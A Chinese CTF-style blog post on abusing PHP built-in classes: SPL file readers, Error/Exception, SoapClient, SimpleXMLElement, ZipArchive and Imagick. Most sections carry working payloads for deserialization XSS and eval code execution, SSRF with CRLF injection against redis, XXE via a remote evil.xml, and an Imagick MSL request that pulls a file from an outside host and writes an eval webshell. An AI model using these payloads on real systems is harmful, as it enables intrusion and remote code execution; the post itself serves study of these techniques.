HacKerQWQ的博客空间

php内置类的利用

Word count: 2.5kReading time: 12 min
2021/08/31 Share

SPL

SPL是Standard PHP Library的缩写,是用于解决典型问题(standard problems)的一组接口与类的集合

一些处理文件的SPL类

遍历目录的类

image-20210831155733867

FilesystemIterator

The Filesystem iterator

1
2
3
4
5
6
<?php
$iterator = new FilesystemIterator(__DIR__, FilesystemIterator::CURRENT_AS_PATHNAME);
foreach ($iterator as $fileinfo) {
echo $iterator->current() . "\n";
}
?>
image-20210831160924951

DirectoryIterator

继承自FileSystemIterator

1
2
3
4
5
6
<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
echo $fileinfo;
}
?>

GlobIterator

遍历一个文件系统行为类似于 glob().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$iterator = new GlobIterator('*.dll', FilesystemIterator::KEY_AS_FILENAME);

if (!$iterator->count()) {
echo 'No matches';
} else {
$n = 0;

printf("Matched %d item(s)\r\n", $iterator->count());

foreach ($iterator as $item) {
printf("[%d] %s\r\n", ++$n, $iterator->key());
}
}

glob语法

通配符 描述 例子 匹配 不匹配
* 匹配任意数量的任何字符,包括无 Law* Law, Laws, Lawyer GrokLaw, La, aw
? 匹配任何 单个 字符 ?at Cat, cat, Bat, bat at
[abc] 匹配括号中给出的一个字符 [CB]at Cat, Bat cat, bat
[a-z] 匹配括号中给出的范围中的一个字符 Letter[0-9] Letter0, Letter1Letter9 Letters, Letter, Letter10
[!abc] 匹配括号中未给出的一个字符 [!C]at Bat, bat, cat Cat
[!a-z] 匹配不在括号内给定范围内的一个字符 Letter[!3-5] Letter1 Letter3Letter5, Letterxx

操作文件的类

SplFileObejct

1
2
3
4
$file = new SplFileObejct('/etc/passwd')
while(!$file->eof()){
echo $file->fgets();
}

echo $file也可以,在这里__toString()fgets()的别名

image-20210831162541848

finfo类

finfo类用于返回一个资源的信息

1
2
3
4
5
6
7
8
<?php
//$finfo = finfo_open(FILEINFO_DEVICES);
$finfo = finfo_open(FILEINFO_EXTENSION);
foreach(glob("*") as $filename){
echo finfo_file($finfo,$filename)."\n";
}

finfo_close($finfo);

finfo_open用到的常量列表https://www.php.net/manual/zh/fileinfo.constants.php

image-20210831164951860

Error&Exception

Error

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

类方法:

1
2
<?php $a = new Error('123456');
echo $a;

image-20210831180844082

这里的错误行数1跟new Error()的行数有关

Exception

Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

1
2
<?php $a = new Exception('123456');
echo $a;

image-20210831181036753

这里的行数跟创建Exception的行数有关

1
2
3
4
5
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下

image-20210831184141321

利用方式

可以Error和Exception来造成XSS、代码执行或者绕过Hash检验

XSS

index.php

1
2
<?php
echo unserialize($_GET['cmd']);

exp

1
2
$a = new Error('<script>alert("xss");</script>');
echo urlencode(serialize($a));

image-20210831205640742

代码执行

index.php

1
2
3
4
<?php
$a = unserialize($_GET['cmd']);
var_dump($a);
eval($a);

exp

1
2
3
4
php > $a = new Error('?><?=phpinfo();?>');
php > echo urlencode(serialize($a));
# payload
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A17%3A%22%3F%3E%3C%3F%3Dphpinfo%28%29%3B%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A14%3A%22php+shell+code%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A1%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

image-20210831210437813

绕过hash值校验

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
// $a=new Error($str,1);$b=new Error($str,2);
// $c = new SYCLOVER();
// $c->syc = $a;
// $c->lover = $b;
// echo(urlencode(serialize($c)));
  • md5和sha1会调用__toString产生相同错误信息绕过,eval也会调用__toString
  • 由于错误信息有脏字符,需要?>闭合
  • 使用include+取反的方式绕过()括号过滤,payload为include~'/flag'include~['/flag'][false]

SoapClient

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

SSRF

利用SoapClient调用__call方法时会发出HTTP/HTTPS请求造成SSRF

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'http://vps:5555', 'location'=>'http://vps:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

打redis

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);

img

SimpleXMLElement

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

在这里插入图片描述

可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

payload

1
SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args[]=2&args[]=true

ZipArchive 类

PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理

注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。

在这里插入图片描述

也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。

例题:梦里花开牡丹亭

Imagick类

参考链接:https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

php手册介绍:https://www.php.net/manual/zh/imagick.installation.php

Imagick是php中用于图像处理的拓展类,不是php自带的,需要手动安装

1
2
3
4
5
6
7
8
9
10
11
apt-get install php7.4-imagick
php -m | grep imagick
service apache2 restart

pecl.php.net/package/imagick/download#下载压缩包
tar -zxvf xxx.tagz
cd imagick-2.2.3
phpize
./configure --with-imagick=/opt/local
make
make install

主要用于以下情景的利用

1
2
3
4
5
<?php
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
?>

缺少echo,仅仅new一个对象的情况

简单SSRF

在Imagick的构造方法中,将files的路径作为参数传入,实际上如果file使用的是http协议,在构造方法调用时php会自动请求该资源

image-20221114105514955

请求包

1
2
3
4
5
6
7
8
9
10
GET /object.php?a=Imagick&b=http://172.17.0.1:8888/test HTTP/1.1
Host: 192.168.119.164:8989
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


在服务器上接收到请求

image-20221114105842562

出网RCE

生成图片马

1
2
3
#安装命令
apt-get install graphicsmagick-imagemagick-compat
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /object.php?a=Imagick&b=vid:msl:/tmp/php* HTTP/1.1
Host: 192.168.119.164:8989
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeBymiZfQE9hubMlU
Content-Length: 322

------WebKitFormBoundaryeBymiZfQE9hubMlU
Content-Disposition: form-data; name="exec[]"; filename="exec.msl"

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://172.17.0.1:8888/positive.png" />
<write filename="/var/www/html/positive2.php" />
</image>
------WebKitFormBoundaryeBymiZfQE9hubMlU--

vps上捕获到请求

image-20221114110549377

此时查看tmp目录和write的目录,都存在文件

image-20221114110658075

访问positive2.php成功getshell

image-20221114110752080

CATALOG
  1. 1. SPL
    1. 1.1. 遍历目录的类
      1. 1.1.1. FilesystemIterator
      2. 1.1.2. DirectoryIterator
      3. 1.1.3. GlobIterator
    2. 1.2. 操作文件的类
      1. 1.2.1. SplFileObejct
      2. 1.2.2. finfo类
  2. 2. Error&Exception
    1. 2.1. Error
    2. 2.2. Exception
    3. 2.3. 利用方式
      1. 2.3.1. XSS
    4. 2.4. 代码执行
    5. 2.5. 绕过hash值校验
  3. 3. SoapClient
    1. 3.0.1. SSRF
  • 4. SimpleXMLElement
  • 5. ZipArchive 类
  • 6. Imagick类
    1. 6.1. 简单SSRF
    2. 6.2. 出网RCE